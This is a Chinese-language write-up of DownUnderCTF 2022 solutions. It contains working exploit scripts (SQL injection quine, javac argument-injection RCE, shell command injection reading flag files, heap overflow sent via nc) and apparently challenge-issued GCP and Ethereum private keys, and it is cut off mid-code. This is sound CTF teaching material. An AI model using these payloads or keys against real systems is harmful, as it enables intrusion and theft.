不過這題的難點還是在於 sqli quine 的部分,首先能看到它有用 !r 去 escape,這相當於 python 的 repr,本身也是會做些 escape 的機制。不過繞法也很簡單,因為 python 和 sqlite 在一些 \ (backslash) 的處理上不同,例如 print(repr("\"'abc")) 會輸出 '"\'abc',而 sql 中 single quote string 的 \ 是沒用的,所以其實 abc 是在 string literal 的外面,所以就有 sql injection 了。

至於 quine 的部分真的不好弄,不過這個題目讓我想到了 AIS3 EOF 2020 Quals - Cyberpunk 1977,它一樣是 python format string + sqli quine,所以直接拿它的 exploit 來改。經過一些我不想解釋的痛苦的改 quine 時間之後終於成功寫出 exploit 拿到 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import sqlite3
import hashlib

os.environ["FLAG"] = "test_flag"
# sqli quine modified from https://github.com/splitline/My-CTF-Challenges/blob/049b591445b2ab902a6fdefa2382d44ef9f5af50/ais3-eof/2020-quals/Web/CYBERPUNK1977/exploit/solution.py#L23-L30
# request.form is ImmutableMultiDict
username = "{post.copy.__globals__[os].environ[FLAG]}"
fmt_leak = "||".join([f"CHAR({hex(ord(x))})" for x in username])
# fmt_leak = "CHAR(0x61)||CHAR(0x62)||CHAR(0x63)||CHAR(0x64)"
query = f"'UNION SELECT '{fmt_leak}',substr(query,1,###)||X'22'||query||X'22'||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},substr(query,1,###)||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace( replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@), char(0x22)||char(0x5c),char(0x20)||char(0x22))"
payload = f"""
{query} FROM(SELECT {query} FROM(SELECT as query)--" as query)--
""".strip() # .replace(" ", "/**/")
offset = payload.index(' "\x27UNION') # start of `query`
payload = payload.replace("###", str(offset)).replace("@@@", str(offset + 1))

post = {"username": username, "password": payload}

con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute(
'INSERT INTO users VALUES ("admin", ?)',
[hashlib.md5(os.environ["FLAG"].encode()).hexdigest()],
)
sql = "SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}".format(
post=post
)
print(sql)
output = cur.execute(sql).fetchone()
print()
print(output[0])
print(output[1])
print()
print(post["username"])
print(post["password"])
print()
assert output[0] == post["username"]
assert output[1] == post["password"]

import requests

print(
requests.post("https://web-sqli2022-85d13aec009e.2022.ductf.dev/", data=post).text
)
# DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}

Uni of Straya - Part 3

一樣利用 part 2 的 /proc/self/cwd 可以從 /proc/self/cwd/main.py 找到 server 的 entrypoint,然後跟著它的 import 去猜看看其他的檔案名稱 (包括 __init__.py) 之後就能把整個 server 的 source code 都 dump 下來。

因為這題目標是 RCE 所以需要從 source code 中找看看有沒有什麼可疑的地方,然後很快就能發現它的 assessment 還有個神奇的 java-underdevelopment type,允許你上傳一個 archive (tar/zip) 之後使用這個函數去檢查你上傳的 java 正不正常 (能不能編譯)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def check_java_is_valid(folder)->bool:
class_files = list_files(folder, allowed_ext=".java")

temp_output = os.path.join("/", "tmp", "java", os.urandom(8).hex())
os.makedirs(temp_output, exist_ok=True)
old_cwd = os.getcwd()
os.chdir(folder)

# Using subprocess.run prevents any command injection students could exploit
try:
returned_code = subprocess.run(["/usr/bin/javac", "-d", temp_output]+class_files)
except:
return False
finally:
os.chdir(old_cwd)

return returned_code == 0

其中 list_files 是很單純的一個 recursive 尋找 .java 檔案的函數而已,不過因為它用了 subprocess.run 所以這邊就如 comment 所說是沒辦法 command injection 的。不過雖然沒有 command injection,若是檔名是 - (dash) 開頭的話就能達成 arguments injection 了。

首先是要確定 java 版本,我這邊是先猜 remote system 是 Debian 系的,然後就嘗試去讀讀看一些類似 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 的 path 看看有沒有檔案,所以我就知道 remote 用的是 openjdk 11 了。

使用 javac -help 看一下它的 flags 中可以發現它有個有趣的 flag -processor 可以讓你指定一個 class 作為 processor。processor 似乎是和 annotation 有關的東西,但是對我來說只要是能執行的東西就好了。參考了一下網路的範例寫了這個 processor Pwn.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.util.Set;

import javax.annotation.processing.AbstractProcessor;
import javax.annotation.processing.ProcessingEnvironment;
import javax.annotation.processing.RoundEnvironment;
import javax.annotation.processing.SupportedAnnotationTypes;
import javax.annotation.processing.SupportedSourceVersion;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.TypeElement;

@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_11)
public class Pwn extends AbstractProcessor {
@Override
public synchronized void init(ProcessingEnvironment env) {
System.out.println("pwned");
System.exit(0);
}

@Override
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
System.out.println(roundEnv.processingOver());
System.out.println(roundEnv.getRootElements());
System.out.println(annotations);
return false;
}
}

然後使用 javac Pwn.java 編譯後使用 javac Hello.java -processor Pwn 就能發現它輸出了一個 Pwned 之後就直接退出了,代表確實有執行到。

下一步是要找方法用 arguments injection 讓它執行這個參數,單純 -processorPwn 或是 -processor:Pwn 好像都不能起作用,但是 -help 中還有說 javac 可以接受一個 @filename 然後從 filename 中讀取其他的參數列表或是檔案列表。

所以我建立了一個空白的 @config.java,然後另外再建立 config.java 裡面寫入 -processor Pwn,然後 java Hello.java @config.java 也確實有出現 Pwned 的訊息。然而這邊會遇到的另一個問題是它 list_files 也會把 config.java 包含在裡面,變成執行 javac Hello.java config.java @config.java,所以會因為 syntax error 而 compile error。

解決辦法有兩個,一個是弄出 java 以及 javac config file 的 polyglot,但是在這條路上試了一些方法都失敗,所以只好嘗試另一個方法: arguments injection。一樣在 -help 裡面我們可以看到一個 -A 參數後面基本上接任何東西都不會有 error,所以如果把這個和前面結合會怎樣呢?

這次改建立空白 @-Aconfig.java-Aconfig.java 裡面寫入 -processor Pwn,這樣執行的指令相當於 javac Hello.java -Aconfig.java @-Aconfig.java,它這次因為 -A 開頭所以不會把它當成要編譯的檔案讀取,而 @-Aconfig.java 也一樣有讓它吃到 processor 的參數,所以這次就成功 print 出了一個 Pwned 訊息。

所以把這幾個檔案 tar 起來,上傳時手動指定 java-underdevelopment 就能 RCE 了。Pwn.java 裡面就寫個 reverse shell 就行了。接收到 shell 之後執行 getfinalflag 就能看到最後的 flag: DUCTF{d15_1s_s0m3_gTf0B1N5_m4T3r1aL!1!}

另外是作者 writeup 在第三題有個和我不同的解法,也可以參考看看。

misc

Jimmy Builds a Kite

題目給了個 https://jimmys-big-adventure.storage.googleapis.com/index.html,直接存取 / 可以看到檔案列表,裡面有 flag.txt 但是無法存取,而它還有另一個有趣的檔案 credentials.json:

1
2
3
4
5
6
7
8
9
10
11
12
{
"type": "service_account",
"project_id": "downunderctf-2022-chal-mjb",
"private_key_id": "9bc78a902cdbd50a4b82b6c0e352ea19e93b95ac",
"private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQXTgINV9XygkE\nUeVDX1LsU55VLbSrQRXVoPAwU4GNt+yuuj2wq2Zj5bAj5aCn8lahKXWlsPCsi7dF\nEpc2FmPzq41hxb1oBZUZEHjVik5NB+Vly1HbfSIt+qdIe98q3eRzfZXAItPTtfZM\n2Tn86aYpZ1dUTCo+jnvoAsEW5yEcmbZFkjB2lUZBVViwYsDiGe7JXgjQKrzanwZ3\n6GEz0hAQ5dy3TF1ZWaU+OJtI3OfA1K7GZzhHkSYkgEXCs3sWBuBRKtokh63R4iUd\npytvfBIwV6UOGiRZllZHl2+NSPYIjZ+fRLKPfvaWLKA2aqhe6NQCmOtnUT2lEFI9\n24vFGd47AgMBAAECggEAUOpqiJGFgZelccaF9Ghv0PPWEHkL6NeBLbFupS3AqXLs\nGJyduV6OiCvZ/868WYw8RSDPHbW9eRxW4x2JmEkQrr+Hy5jZaayFTrL9YdvwdWyk\nEqhnFQgevmFRFk54h3KdNZZnEbLUtSo8SHKxWLy5uOl3WfasDxgRGTP8nTLLwolh\nIhUPzI6gaSH2aWj32aENpXFUp520LU8bpAEfdls5IUbEt73QABT8stl4U71526d8\nQS8XsRXJq14g5NZCxlWX1t+i75Uv94ERKYMUQ4Zea2qc8scB3KVOcUfxYgBkDlOc\nKx601/aPbbOxo/SuHy5e0Shd9igiKB8AlnD4pDg2aQKBgQD2jcSPhFHYy0lGudea\nd+ZIwWzl13UnSk9t6wthjM+rxaPIhxGMnyOY31Hm4435AQKkL8fHTvbX4QWMhrsc\nMMhRwha1BPtpqp4vKxCWtDO8NRlMXubbn2FYECszlMNkcIE6IVfJxL3cOdjIwYc4\nsheKBxboOT/1syV9FOz0U7BtYwKBgQDYWOHIVxfMUUYO8RKjgR8e9Q6P/mTYRKQj\n32w6/TX8/FVOY1+EavVblHUPKeiNwvhudHMk0xvnrtfo/6BSA6nPvWjU23gXyZFl\ncq3HWJrfmOOK4OvPcAHLC/rw5d6+cZUGPkzUck3BZLr4cA1OEfktTLcbNcWD8/AB\nerGigCyvSQKBgEz12bpWulmqsvfRwNwluwtQ3VYtWBNonbyY1tefZZ+ftM0+ZBr5\n/dmVM/KXa1SjnRh1Fa5AFssyIVJJKBTXoV/r7ryYjoXgTTo5/hacr117UadGJFe/\nu1oKygFy2T7740qq58VClWUt5V5dEoF/Ddv29I6OeEmQnw4ZPxHRIcwzAoGASTTK\nMaBGzTwzGJs6U1k9zpvdcZwDQ6r2X60aUlucCR7ZPs0hZQ1MONDjS15C8rUmmzmM\nPMmyh5MCPDVDan0S2NiewGgDGwl5yXokk2/H+CEj3bp+EJM2CB7lqt4doRON+a7b\nEIgdB3OuUKKZ3fD2//0VeH+Zdiz06Ys60GHOvQECgYEA13F9MZgDiKK3MgZ4fhaH\nhAkayvz+i0c0yEsmdWk4Ltd/VstmL8FqNwUvVtkpV7Oz3pPW6FkJJAwMVvNl2eMD\nucYx7g3sdqRhWmdn4mKowq2fc4wM3x5drcjiAxL+RcBVR6H9wA9bQuebRJCpIEkG\nGG0RU2gTUaZao3xrrfXLUDE=\n-----END PRIVATE KEY-----\n",
"client_email": "buildkite-agent@downunderctf-2022-chal-mjb.iam.gserviceaccount.com",
"client_id": "111935028215153567724",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/buildkite-agent%40downunderctf-2022-chal-mjb.iam.gserviceaccount.com"
}

看起來非常可疑,Google 一下知道可以用 gcloud auth activate-service-account --key-file credentials.json 匯入,然後 gcloud storage ls 'gs://jimmys-big-adventure' 也能正常存取,所以就 gcloud storage cat 'gs://jimmys-big-adventure/flag.txt' 讀 flag: DUCTF{Th0se_cr3ds_w3r3nt_m34nt_2_b33_th3r3}

Slash Flag

這題有個 discord bot,看它的自我介紹可以找到 source code。它有些有趣的 slash commands,但是直接在主 server 使用會說你不是 Organiser

不過這部分很好繞,就使用下面的 url 把 bot 邀請到自己的 server 去:

1
https://discord.com/oauth2/authorize?client_id=1006037829345882173&permissions=0&scope=bot%20applications.commands

然後給自己加上 Organiser 的 role 之後就能使用 slash command 了。這之所以能過是因為它只有檢查 role name 而已。

另外是它的指令背後都是用 shell command 實作的,而其中最可疑的地方是 create.js,裡面有個疑似 command injection 出現。

filename 因為會被 upper case 所以不好利用,而 text 使用了 shell-quote 先 escape 過了,但是它 escape 後放到的地方是個 single quote 中,所以稍微繞一下就能 command injection 了。另外是因為它的 command 都在 nsjail 中執行,從 nsjail.cfg 知道 flag 在 /flag/flag.txt,所以用些 redirection 把 flag 寫到 file 中,之後再 open 即可讀 flag。

text: x';cat</flag/flag.txt>AA;#y filename: asd"

然後再 /open AA 就能得到 flag: DUCTF{/flag_didn't_work_for_me...}

last digit

1
2
3
4
5
6
7
8
9
10
11
12
13
with open('/flag.txt', 'rb') as f:
FLAG = int.from_bytes(f.read().strip(), byteorder='big')

assert FLAG < 2**1024

while True:
print("Enter your number:")

try:
n = FLAG * int(input("> "))
print("Your digit is:", str(n)[-1])
except ValueError:
print("Not a valid number! >:(")

看起來非常簡單,但是給予輸入的 last digit 相當於給 的值,我們只要知道 的 last digit 之後就能推算任意 的 last digit 了,所以這個 oracle 應該給不了我們任何資訊。

不要忘了這題是個 misc 題目,且它還有提供一個 Dockerfile 寫說使用的是 3.10.7,是個相當新的版本,而這也是這題的解題關鍵。

緣由是最近關於 CPython 的一件有趣的事: CVE-2020-10735: Prevent DoS by large int<->str conversions

它簡單來說就是因為 python 內建 int 是大數,所以它的 int str 之間的轉換是使用 naive 的 quadratic algorithm,所以只要輸入很大時就有機會 DOS。然後 CPython 的開發者 gpshead 表示說修正的方法就是新增一個 global variable 限制控制 int str 轉換的上限: sys.set_int_max_str_digits。而它有個預設值是十進位下的預設長度上限為 4300,所以在比較新版的 Python 中 str(10**4300) 是會噴錯的。

然後回到題目那邊,我們知道它使用了 str(n)[-1] 來給予 last digit,但是這在 n >= 10**4300 是會噴錯的,所以就得到了一個判斷 的 oracle,所以直接二分搜 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

# io = process(["python", "last-digit.py"])
io = remote("2022.ductf.dev", 30003)

# CVE-2020-10735 lmao
# https://docs.python.org/release/3.10.7/whatsnew/3.10.html#notable-security-feature-in-3-10-7
B = 10**4300


def oracle(x):
global io
try:
io.sendlineafter(b">", str(x).encode())
return b"Your digit" in io.recvline()
except:
io = remote("2022.ductf.dev", 30003)
return oracle(x)


l = 0
r = 1 << 1024
while l < r:
print((l - r).bit_length())
m = (l + r) // 2
if oracle(B // m):
r = m
else:
l = m + 1
print(l)
print(r)
print(l.to_bytes(128, "big"))
# CTF{14288_bits_should_be_enough_for_anybody_:)}

not a pyjail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3

import subprocess
import sys
import tempfile

print("Welcome to the Python syntax checking service!")
print("The safest code is the code you don't even execute.")
print("Enter your code. Write __EOF__ to end.")

code = b"exit(0)\n"
for line in sys.stdin.buffer:
if line.strip() == b"__EOF__":
break
code += line

with tempfile.NamedTemporaryFile() as sandbox:
sandbox.write(code)
sandbox.flush()
pipes = subprocess.Popen(["python3", sandbox.name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
_, stderr = pipes.communicate()
if pipes.returncode == 0:
print("Syntax OK!")
else:
print("There was an error:")
print(stderr.decode())

這題會在你的輸入前面加上 exit(0)\n 後寫入到 temp file,然後用 python $FILE 的方法去執行它。用正常的 python 我想不到任何方法可以使用一些 syntax 讓它不要執行到 exit(0),所以需要用點比較不同的方法。

可以注意到它讀輸入的時候是讀 bytes,所以可以塞任意 binary。而說到 python + binary 就讓我想到 pyc,因為 python xxx.pyc 在 python 中也確實是能執行的,不過 python 本身似乎是判斷副檔名或是 magic number 去決定一個檔案是不是 pyc 的,所以在這題的情況下繞不過。

後來想了很久和查了很多資料才想起說 python 有個叫 zipapp 的東西,可以把你的 python script 包裝成一個 zip 檔,然後直接 python xxx.pyz 就能執行了。而我們也知道 zip 本身讀取是先從後面讀 central directory 的,因此在前面 prepend 一些垃圾也不影響結果,所以確實可行。

所以就先建立個 exp/__main__.py,裡面寫:

1
2
3
4
5
import sys
import os
print(os.popen('cat /chal/flag.txt').read(), file=sys.stderr)
exit(1)
# DUCTF{next_time_ill_just_use_ast.parse}

然後用這個指令打包和發送 payload 即可:

1
python -m zipapp exp; (cat exp.pyz; printf '\n__EOF__\n') | nc 2022.ductf.dev 30002

I C U PHP

這題有個 php 服務,它會接受你的 C code 之後幫你用 gcc 編譯之後在有 error 的時候顯示錯誤訊息,但是成功時也不會幫你執行。而 flag 本身是放在 config.php 的一個字串中。

它本身也會禁止使用 directive #,不用這個 digraphs %: 就能繞過了 (e.g. %:include "stdio.h")。

很明顯是要透過 error message leak flag,但是 hxp 36C3 CTF: compilerbot 的方法在這邊適用不了,因為 config.php 的結構比它複雜太多了。

我的做法是使用同一題的另一個 writeup,利用 inline asm 的 incbin 結合 linker error 去 leak flag 出來,因為這次是 gcc 所以要用它 bonus 部分的方法才行。

因為它 bonus 的方法是用一些大小判斷的,所以可以一個一個字元二分搜出來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import subprocess
import requests

# based on https://rpis.ec/blog/hxp-26c3-ctf-compilerbot/

payload = r"""
__asm__ (
// create a section of N bytes
".pushsection .foo\n"
".rept __GUESS__\n"
".byte 0xFF\n"
".endr\n"
".popsection\n"

// create a relocation that tries to modify our section at some offset
// based on a single byte of the flag; if it is out of bounds then the
// linker will error
".pushsection .rela.foo\n"
".align 1\n"

// offset into .foo -- must not overflow !
".incbin \"config.php\", __OFFSET__, 1\n"
".rept 7\n"
".byte 0\n"
".endr\n"

".quad 0x000000000000000E\n" // type of reloc: R_X86_64_8
".quad 0x0000000000000001\n" // value to add at that offset
".popsection\n"
);
"""

def try_compile(code):
code = "int main() { " + code + " }"
sub = subprocess.Popen(
["gcc", "-Werror", "-x", "c", "-o", "/dev/null", "-"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
)
stdout, _ = sub.communicate(code.encode())
return sub.returncode == 0 and stdout.strip() == b""


def try_compile(code):
code = "int main() { " + code + " }"
code += """
void dummy(){
for(int i=0;i<100;i++){}
}
struct LOL{};
"""
# r = requests.post("http://localhost:8000/", data={"code": code}).text
r = requests.post(
"https://misc-i-c-u-php-16347326eb82.2022.ductf.dev", data={"code": code}
).text
suc = "You passed!" in r
return suc


# test first
code = payload
code = code.replace(r'".incbin \"config.php\", __OFFSET__, 1\n"', r'".byte 0x20\n"')
code = code.replace("__GUESS__", "128")
assert try_compile(code)


# linear search
# flag = ""
# starti = 1100
# for flag_offset in range(starti, starti + 10):
# for guess in range(0x20, 0x7F):
# code = payload
# code = code.replace("__GUESS__", str(guess))
# code = code.replace("__OFFSET__", str(flag_offset))
# if try_compile(code):
# flag += chr(guess - 1)
# print(flag)
# break
# else:
# # no guess worked, maybe end of the flag
# break

# binary search
flag = ""
starti = 1100
for flag_offset in range(starti, starti + 100):
l = 0x20
r = 0x7F
while l + 1 < r:
m = (l + r) // 2
code = payload
code = code.replace("__GUESS__", str(m))
code = code.replace("__OFFSET__", str(flag_offset))
if try_compile(code):
r = m
else:
l = m
flag += chr(l)
print(flag)
# DUCTF{pr3pr0c3ssOrPoWer3dPHPpEEk1ngPuzZLe_2b842b}

不過官方解則是透過一些奇怪的 define 然後讓它繞過 php syntax,讓 error message 出現 flag 而已。

另外是賽後在 Discord 有看到一個有趣的 unintended:

1
2
3
4
5
6
7
8
9
%:line 59 "/var/www/html/config.php"
fo;
struct xb{
int b;
};

int main(){
for(;;){}
}

它使用的是 Line Control,告訴 compiler 說它目前如果出現 compile error 的話錯誤訊息要顯示哪一行。概念上和 source map 有點像。

rev

source provided

一個 x86-64 用 asm 的 flag checker 而已,原本的 source 都有給你,直接讀然後在 python 把它的運算逆回去即可。

1
2
3
4
5
# fmt: off
ar = [0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2]
# fmt: on
print(bytes([(x ^ 0x42) - 0x42 - i for i, x in enumerate(ar)]))
# DUCTF{r3v_is_3asy_1f_y0u_can_r34d_ass3mbly_r1ght?}

Legit App Not Ransomware

一個 .net 的 exe,直接 ILSpy 打開然後讀一下 code 就出來了。

Clicky

也是一個 .net 的 exe,直接 ILSpy 打開然後讀一下 code 就出來了。

1
2
3
4
5
6
7
8
9
10
11
12
13
from base64 import b64decode as g

f = bytes.fromhex
flag = b""
flag += g(g("UkZWRFZFWT0="))
flag += g(g("ZXc9PQ=="))
flag += g(g(f("576B64736131677A62485A6B55543039")))
flag += g(g(f("57444E57656C70574F44303D")))
flag += g(g(f("57565935565646575453383D")))
flag += b"_ZGVhZGIzM2ZjYWZl"
flag += g(g("ZlE9PQ=="))
print(flag)
# DUCTF{did_you_use_a_TAS?_ZGVhZGIzM2ZjYWZl}

js lock

就單一的 html,它會需要你點 0 1 去走一個用 array 表示的迷宮,一共要過 1337 關。到最後你走過的途徑經過 sha256 會成為 key,然後和某個 ciphertext xor 就是 flag 了。

解法就直接在 devtools 寫點 js 直接 DFS 走迷宮即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function search(ar, target, path = []) {
let res = null
ar.forEach((x, i) => {
if (x === target) res = path.concat([i])
if (Array.isArray(x)) {
const t = search(x, target, path.concat([i]))
if (t) res = t
}
})
return res
}
function expand(s) {
let res = ''
for (const x of s) {
if (x === '0') res += 0
else res += '1'.repeat(Number(x)) + '0'
}
return res
}
key = ''
for (let i = 1; i <= 1337; i++) key += expand(search(LOCK, i))
K = await sha512(key)
dec = []
for (var i = 0; i < 64; i++) dec.push(String.fromCodePoint(C[i] ^ K[i]))
console.log(dec.join(''))
// DUCTF{s3arch1ng_thr0ugh_an_arr4y_1s_n0t_th4t_h4rd_ab894d8dfea17}

pwn

babyp(y)wn

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3

from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'DUCTF' in bytes(buf2):
print(open('./flag.txt', 'r').read())

BOF to win

1
2
3
4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaDUCTF


DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}

login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>


#define NUM_USERS 0x8
#define USERNAME_LEN 0x18
#define ADMIN_UID 0x1337

typedef struct {
int uid;
char username[USERNAME_LEN];
} *user_t;

int curr_user_id = ADMIN_UID;
user_t users[NUM_USERS];


void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

void read_n_delimited(char* buf, size_t n, char delimiter) {
char c;
size_t i = 0;
while(i <= n - 1) {
if(read(0, &c, 1) != 1) {
break;
}

if(c == delimiter) {
break;
}

buf[i++] = c;
}
buf[i] = '\0';
}

int read_int() {
char buf[8];
read_n_delimited(buf, 8, '\n');
return atoi(buf);
}


void menu() {
puts("1. Add user");
puts("2. Login");
printf("> ");
}

void add_user() {
user_t user = (user_t) malloc(sizeof(user_t));
users[curr_user_id++ - ADMIN_UID] = user;

printf("Username length: ");
size_t len = read_int();
if(len > USERNAME_LEN) {
puts("Length too large!");
exit(1);
}

if(!user->uid) {
user->uid = curr_user_id;
}
printf("Username: ");
printf("a = %p\n", *(long*)(user->username + 0x8));
printf("a = %p\n", *(long*)(user->username + 0x10));
printf("a = %p\n", *(long*)(user->username + 0x18));
read_n_delimited(user->username, len, '\n');
printf("b = %p\n", *(long*)(user->username + 0x8));
printf("b = %p\n", *(long*)(user->username + 0x10));
printf("b = %p\n", *(long*)(user->username + 0x18));
printf("ptr = %p\n", user->username + 0x10);
printf("user = %p\n", user);
}

void login() {
int found = 0;

char username[USERNAME_LEN];
printf("Username: ");
read_n_delimited(username, USERNAME_LEN, '\n');
for(int i = 0; i < NUM_USERS; i++) {
if(users[i] != NULL) {
if(strncmp(users[i]->username, username, USERNAME_LEN) == 0) {
found = 1;

if(users[i]->uid == 0x1337) {
system("/bin/sh");
} else {
printf("Successfully logged in! uid: 0x%x\n", users[i]->uid);
}
}
}
}

if(!found) {
puts("User not found");
}
}


int main() {
init();

while(1) {
menu();
int choice = read_int();
if(choice == 1) {
add_user();
} else if(choice == 2) {
login();
} else {
exit(1);
}
}
}

主要的 bug 在於 read_n_delimitedn 如果是 0 的話那麼它會 underflow,變的可以 BOF。

其實它還有個 bug 是可以 one byte oob,不過很難用

然後我們可以控制長度的地方是在 add_user 的地方,所以是 heap 的 BOF。BOF 而我們的目標是讓某個 user 的 uid 成為 0x1337,因此只要 BOF 先蓋到下一個 chunk 的 uid,然後因為有:

1
2
3
if(!user->uid) {
user->uid = curr_user_id;
}

它會從 uninitialized data 使用 uid,也就是我們可以蓋到的部分,所以就能拿 shell。不過一個小麻煩的部分是因為這是 heap BOF,蓋的時候不能把 top chunk 弄壞,所以也需要讓它填上些適當的值才行。

1
2
(printf '1\n0\nxxxxaaaabbbb\0\0\0\0\0\0\0\0\x51\x0d\x02\0\0\0\0\0\x37\x13\n1\n0\npeko\n2\npeko\n'; cat) | nc 2022.ductf.dev 30025
# DUCTF{th3_4uth_1s_s0_bad_1t_d0esnt_ev3n_us3_p4ssw0rds}

blockchain

Solve Me

DUCTF 中的 blockchain 題目都有個獨立 instance,並且會給你 contract address 和有些 eth 的 private key,並且有專屬的 RPC url,所以在匯入 metamask 之類的時候需要自己新增 network 才行。

而這題就是呼叫這個 contact 的 solveChallenge 而已:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
* @title SolveMe
* @author BlueAlder duc.tf
*/
contract SolveMe {
bool public isSolved = false;

function solveChallenge() external {
isSolved = true;
}

}

所以 metamask 設定一下,然後用 Remix IDE 編譯然後 load contract from address 之後呼叫即可。

不過我也有試看看使用 node.js 裝 web3.js 之後從 javascript 解這個題目,讀了一些 docs 和 examples 之後就能寫出來了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const Web3 = require('web3')
const web3 = new Web3('https://blockchain-solveme-4dc7ba0b99f5ae1b-eth.2022.ductf.dev/')
const fs = require('fs/promises')
;(async () => {
// yarn solcjs SolveMe.sol --abi
const abi = JSON.parse(await fs.readFile('./SolveMe_sol_SolveMe.abi', 'utf-8'))
const contract = new web3.eth.Contract(abi, '0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8')
const acc = web3.eth.accounts.wallet.add('0x1962c6f902d12fd2b27d71767b0bd7269d3ec58300aaa5baa3db778edb0e361b')
console.log(acc)
const gas = await contract.methods.solveChallenge().estimateGas({
from: acc.address
})
console.log(gas)
contract.methods
.solveChallenge()
.send({
from: acc.address,
gas
})
.on('receipt', function (receipt) {
console.log('success')
console.log(receipt)
})
.on('error', function (error, receipt) {
console.log('error')
console.log(error)
console.log(receipt)
})
})()

Secret and Ephemeral

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
* @title Secret And Ephemeral
* @author Blue Alder (https://duc.tf)
**/

contract SecretAndEphemeral {
address private owner;
int256 public seconds_in_a_year = 60 * 60 * 24 * 365;
string word_describing_ductf = "epic";
string private not_yours;
